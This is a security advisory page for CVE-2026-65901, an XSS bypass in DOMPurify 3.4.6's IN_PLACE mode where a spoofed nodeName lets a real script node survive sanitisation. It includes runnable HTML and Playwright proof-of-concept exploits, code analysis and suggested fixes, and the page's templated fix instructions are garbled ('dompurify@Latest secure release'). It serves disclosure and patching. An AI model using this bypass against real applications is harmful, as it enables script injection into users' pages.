CVE-2026-65901: DOMPurify Cross-Site Scripting Vulnerability
LOW
Advisory Identifier:
GHSA-x4vx-rjvf-j5p4
CWE-79
Published
Advisory Summary
CVE-2026-65901 is a LOW cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting DOMPurify libraries in the npm ecosystem. The issue involves `in_place` mode trusts attacker-controlled `nodename` on live non-form nodes, allowing script retention and xss via attacker-supplied dom objects. Remediation is available in the latest vendor maintenance releases.
CVE-2026-65901 at a Glance
CVE Identifier
CVE-2026-65901
GHSA Identifier
GHSA-x4vx-rjvf-j5p4
Severity
LOW
CVSS v3.1 Base Score
N/A
CWE Classification
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product
DOMPurify
Package Ecosystem
npm
Published Date
Last Updated
How to Fix CVE-2026-65901
To remediate this vulnerability, upgrade all affected DOMPurify dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
dompurify
fixed: Latest secure release
npm install dompurify@Latest secure release
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls dompurifyHow to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-65901, inspect your project dependencies using npm:
npm ls dompurifyAnalyze the terminal output to locate any version of DOMPurify in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The npm ls dompurify command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In DOMPurify, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
## Summary
When `DOMPurify.sanitize(root, { IN_PLACE: true })` is called on an attacker-supplied live DOM node, `DOMPurify` still trusts `currentNode.nodeName` for non-`form` nodes in the main `_sanitizeElements` pipeline. A real `<script>` child node whose observable `nodeName` is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.
This affects current `3.4.6`. The recent `IN_PLACE` hardening work covers clobbered `form` handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-`form` live nodes.
## Affected
- DOMPurify `3.4.6`
- Any caller that does `DOMPurify.sanitize(node, { IN_PLACE: true })` on attacker-supplied live DOM nodes
- Verified attacker-controlled node sources:
- same-origin `iframe` → live node passed by reference
- same-origin `window.open()` popup → live node passed by reference
- same-origin foreign node adopted into the host document via `document.adoptNode(node)` and then sanitized in-place
Not affected:
- String-input `DOMPurify.sanitize(dirtyString)`
## Vulnerability details
### Code paths
[A] — `_sanitizeElements` uses the instance-visible `nodeName` for the allow/forbid decision:
```ts
const _sanitizeElements = function (currentNode: any): boolean {
...
if (_isClobbered(currentNode)) {
_forceRemove(currentNode);
return true;
}
const tagName = transformCaseFunc(currentNode.nodeName);
...
if (
FORBID_TAGS[tagName] ||
(!(...) && !ALLOWED_TAGS[tagName])
) {
...
_forceRemove(currentNode);
return true;
}
...
};
```
For non-`form` nodes, `_isClobbered(currentNode)` returns `false` early. The subsequent element decision therefore trusts `currentNode.nodeName` directly.
[B] — `_isClobbered` is `form`-specific:
```ts
const _isClobbered = function (element: Element): boolean {
const realTagName = getNodeName ? getNodeName(element) : null;
if (typeof realTagName !== 'string') {
return false;
}
if (transformCaseFunc(realTagName) !== 'form') {
return false;
}
return (...);
};
```
The hardening is intentionally scoped to `form`. Non-`form` nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.
### Why the bypass works
The attack does **not** depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into `DOMPurify`'s `IN_PLACE` pipeline.
If the attacker controls a same-origin subcontext (`iframe` or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts `DOMPurify.sanitize(node, { IN_PLACE: true })` as its final sanitization step.
For the verified primitive below:
- the real child node is `<script>`
- its script text is attacker-controlled
- the observable `nodeName` is attacker-controlled and made to appear as `"DIV"`
- `_sanitizeElements` therefore classifies the real `<script>` child as an allowed element
- the real `<script>` survives in the sanitized tree and executes on insertion
This primitive survives:
- direct reference passing
- `document.adoptNode(node)` followed by `IN_PLACE`
It does **not** survive:
- `importNode`
- `cloneNode`
because those paths materialize a fresh node and discard the hostile object semantics.
## Proof of concept
### (1) Minimal — runnable in a single browser context
```html
<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
const foreign = window.open('about:blank', '_blank', 'noopener=no');
const host = foreign.document.createElement('div');
const script = foreign.document.createElement('script');
script.textContent = 'window.__pwned = 1';
Object.defineProperty(script, 'nodeName', {
value: 'DIV',
configurable: true,
});
host.appendChild(script);
DOMPurify.sanitize(host, { IN_PLACE: true });
console.log('output:', host.outerHTML);
// <div><script>window.__pwned = 1</script></div>
window.__pwned = 0;
document.body.appendChild(host);
console.log('handler fired:', window.__pwned === 1); // true
</script>
</body></html>
```
### (2) End-to-end — Playwright
```js
const { chromium } = require('playwright');
const path = require('path');
(async () => {
const browser = await chromium.launch();
const page = await browser.newPage();
await page.goto('about:blank');
await page.addScriptTag({ path: path.resolve('dist/purify.js') });
const result = await page.evaluate(async () => {
window.__hits = [];
const foreign = window.open('about:blank', '_blank', 'noopener=no');
const host = foreign.document.createElement('div');
const script = foreign.document.createElement('script');
script.textContent = 'top.__hits.push("script-fired")';
Object.defineProperty(script, 'nodeName', {
value: 'DIV',
configurable: true,
});
host.appendChild(script);
DOMPurify.sanitize(host, { IN_PLACE: true });
document.body.appendChild(host);
return {
version: DOMPurify.version,
output: host.outerHTML,
fired: window.__hits.includes('script-fired'),
};
});
console.log(result);
await browser.close();
})();
```
Observed:
- Chromium / Firefox / WebKit
```js
{
version: '3.4.6',
output: '<div><script>top.__hits.push("script-fired")</script></div>',
fired: true
}
```
## Impact
### Direct
XSS via retained real `<script>` nodes inside attacker-supplied live DOM objects.
Any consumer that uses `DOMPurify.sanitize(node, { IN_PLACE: true })` as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.
The typical pattern is:
```js
// attacker-controlled same-origin subcontext prepares a live node
const foreignNode = attackerFrame.contentWindow.makeNode();
// host treats DOMPurify as the last security gate
DOMPurify.sanitize(foreignNode, { IN_PLACE: true });
container.appendChild(foreignNode);
```
If `foreignNode` is a hostile live DOM object whose real child is `<script>` but whose observable `nodeName` is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.
### Indirect / second-order
- Applications that accept same-origin plugin / extension / widget DOM and rely on `IN_PLACE` as the final sanitization step
- Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization
## Suggested fix
Two minimal-risk options:
1. Stop trusting instance-visible `nodeName` for the element decision in `IN_PLACE`.
Use the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.
In other words, the main pipeline should not do:
```ts
const tagName = transformCaseFunc(currentNode.nodeName);
```
on hostile live objects.
2. Generalize hostile-node detection beyond `form`.
The current `_isClobbered()` logic is `form`-specific. A more defensive approach would reject or strictly sanitize any `IN_PLACE` node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:
- `nodeName`
- `attributes`
- `childNodes`
Either approach would close the verified primitive above.
CVE-2026-65901 Affected DOMPurify Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
dompurify
|
npm |
≤ 3.4.6
|
|
References
Frequently Asked Questions
What is CVE-2026-65901?
CVE-2026-65901 is a security vulnerability in DOMPurify involving `IN_PLACE` mode trusts attacker-controlled `nodeName` on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which DOMPurify versions are affected?
Affected versions include releases prior to current release patches across affected packages: dompurify.
What version fixes CVE-2026-65901?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is dompurify affected?
Yes, dompurify is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2026-65901?
CVE-2026-65901 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for CVE-2026-65901?
Run the dependency tree command: 'npm ls dompurify'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-x4vx-rjvf-j5p4",
"modified" : "2026-07-23T14:00:48Z",
"published" : "2026-06-15T20:00:02Z",
"aliases" : [ "CVE-2026-65901" ],
"summary" : "DOMPurify: `IN_PLACE` mode trusts attacker-controlled `nodeName` on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects",
"details" : "## Summary\n\nWhen `DOMPurify.sanitize(root, { IN_PLACE: true })` is called on an attacker-supplied live DOM node, `DOMPurify` still trusts `currentNode.nodeName` for non-`form` nodes in the main `_sanitizeElements` pipeline. A real `<script>` child node whose observable `nodeName` is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.\n\nThis affects current `3.4.6`. The recent `IN_PLACE` hardening work covers clobbered `form` handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-`form` live nodes.\n\n## Affected\n\n- DOMPurify `3.4.6`\n- Any caller that does `DOMPurify.sanitize(node, { IN_PLACE: true })` on attacker-supplied live DOM nodes\n- Verified attacker-controlled node sources:\n - same-origin `iframe` → live node passed by reference\n - same-origin `window.open()` popup → live node passed by reference\n - same-origin foreign node adopted into the host document via `document.adoptNode(node)` and then sanitized in-place\n\nNot affected:\n\n- String-input `DOMPurify.sanitize(dirtyString)`\n\n## Vulnerability details\n\n### Code paths\n\n[A] — `_sanitizeElements` uses the instance-visible `nodeName` for the allow/forbid decision:\n\n```ts\nconst _sanitizeElements = function (currentNode: any): boolean {\n ...\n if (_isClobbered(currentNode)) {\n _forceRemove(currentNode);\n return true;\n }\n\n const tagName = transformCaseFunc(currentNode.nodeName);\n ...\n if (\n FORBID_TAGS[tagName] ||\n (!(...) && !ALLOWED_TAGS[tagName])\n ) {\n ...\n _forceRemove(currentNode);\n return true;\n }\n ...\n};\n```\n\nFor non-`form` nodes, `_isClobbered(currentNode)` returns `false` early. The subsequent element decision therefore trusts `currentNode.nodeName` directly.\n\n[B] — `_isClobbered` is `form`-specific:\n\n```ts\nconst _isClobbered = function (element: Element): boolean {\n const realTagName = getNodeName ? getNodeName(element) : null;\n if (typeof realTagName !== 'string') {\n return false;\n }\n\n if (transformCaseFunc(realTagName) !== 'form') {\n return false;\n }\n\n return (...);\n};\n```\n\nThe hardening is intentionally scoped to `form`. Non-`form` nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.\n\n### Why the bypass works\n\nThe attack does **not** depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into `DOMPurify`'s `IN_PLACE` pipeline.\n\nIf the attacker controls a same-origin subcontext (`iframe` or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts `DOMPurify.sanitize(node, { IN_PLACE: true })` as its final sanitization step.\n\nFor the verified primitive below:\n\n- the real child node is `<script>`\n- its script text is attacker-controlled\n- the observable `nodeName` is attacker-controlled and made to appear as `\"DIV\"`\n- `_sanitizeElements` therefore classifies the real `<script>` child as an allowed element\n- the real `<script>` survives in the sanitized tree and executes on insertion\n\nThis primitive survives:\n\n- direct reference passing\n- `document.adoptNode(node)` followed by `IN_PLACE`\n\nIt does **not** survive:\n\n- `importNode`\n- `cloneNode`\n\nbecause those paths materialize a fresh node and discard the hostile object semantics.\n\n## Proof of concept\n\n### (1) Minimal — runnable in a single browser context\n\n```html\n<!doctype html>\n<html><body>\n<script src=\"dist/purify.js\"></script>\n<script>\n const foreign = window.open('about:blank', '_blank', 'noopener=no');\n\n const host = foreign.document.createElement('div');\n const script = foreign.document.createElement('script');\n script.textContent = 'window.__pwned = 1';\n Object.defineProperty(script, 'nodeName', {\n value: 'DIV',\n configurable: true,\n });\n host.appendChild(script);\n\n DOMPurify.sanitize(host, { IN_PLACE: true });\n\n console.log('output:', host.outerHTML);\n // <div><script>window.__pwned = 1</script></div>\n\n window.__pwned = 0;\n document.body.appendChild(host);\n console.log('handler fired:', window.__pwned === 1); // true\n</script>\n</body></html>\n```\n\n### (2) End-to-end — Playwright\n\n```js\nconst { chromium } = require('playwright');\nconst path = require('path');\n\n(async () => {\n const browser = await chromium.launch();\n const page = await browser.newPage();\n await page.goto('about:blank');\n await page.addScriptTag({ path: path.resolve('dist/purify.js') });\n\n const result = await page.evaluate(async () => {\n window.__hits = [];\n\n const foreign = window.open('about:blank', '_blank', 'noopener=no');\n const host = foreign.document.createElement('div');\n const script = foreign.document.createElement('script');\n script.textContent = 'top.__hits.push(\"script-fired\")';\n Object.defineProperty(script, 'nodeName', {\n value: 'DIV',\n configurable: true,\n });\n host.appendChild(script);\n\n DOMPurify.sanitize(host, { IN_PLACE: true });\n document.body.appendChild(host);\n\n return {\n version: DOMPurify.version,\n output: host.outerHTML,\n fired: window.__hits.includes('script-fired'),\n };\n });\n\n console.log(result);\n await browser.close();\n})();\n```\n\nObserved:\n\n- Chromium / Firefox / WebKit\n\n```js\n{\n version: '3.4.6',\n output: '<div><script>top.__hits.push(\"script-fired\")</script></div>',\n fired: true\n}\n```\n\n## Impact\n\n### Direct\n\nXSS via retained real `<script>` nodes inside attacker-supplied live DOM objects.\n\nAny consumer that uses `DOMPurify.sanitize(node, { IN_PLACE: true })` as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.\n\nThe typical pattern is:\n\n```js\n// attacker-controlled same-origin subcontext prepares a live node\nconst foreignNode = attackerFrame.contentWindow.makeNode();\n\n// host treats DOMPurify as the last security gate\nDOMPurify.sanitize(foreignNode, { IN_PLACE: true });\ncontainer.appendChild(foreignNode);\n```\n\nIf `foreignNode` is a hostile live DOM object whose real child is `<script>` but whose observable `nodeName` is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.\n\n### Indirect / second-order\n\n- Applications that accept same-origin plugin / extension / widget DOM and rely on `IN_PLACE` as the final sanitization step\n- Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization\n\n## Suggested fix\n\nTwo minimal-risk options:\n\n1. Stop trusting instance-visible `nodeName` for the element decision in `IN_PLACE`.\n\nUse the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.\n\nIn other words, the main pipeline should not do:\n\n```ts\nconst tagName = transformCaseFunc(currentNode.nodeName);\n```\n\non hostile live objects.\n\n2. Generalize hostile-node detection beyond `form`.\n\nThe current `_isClobbered()` logic is `form`-specific. A more defensive approach would reject or strictly sanitize any `IN_PLACE` node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:\n\n- `nodeName`\n- `attributes`\n- `childNodes`\n\nEither approach would close the verified primitive above.",
"severity" : [ ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "dompurify"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "3.4.6"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/cure53/DOMPurify/security/advisories/GHSA-x4vx-rjvf-j5p4"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/cure53/DOMPurify"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-15T20:00:02Z",
"nvd_published_at" : null
}
}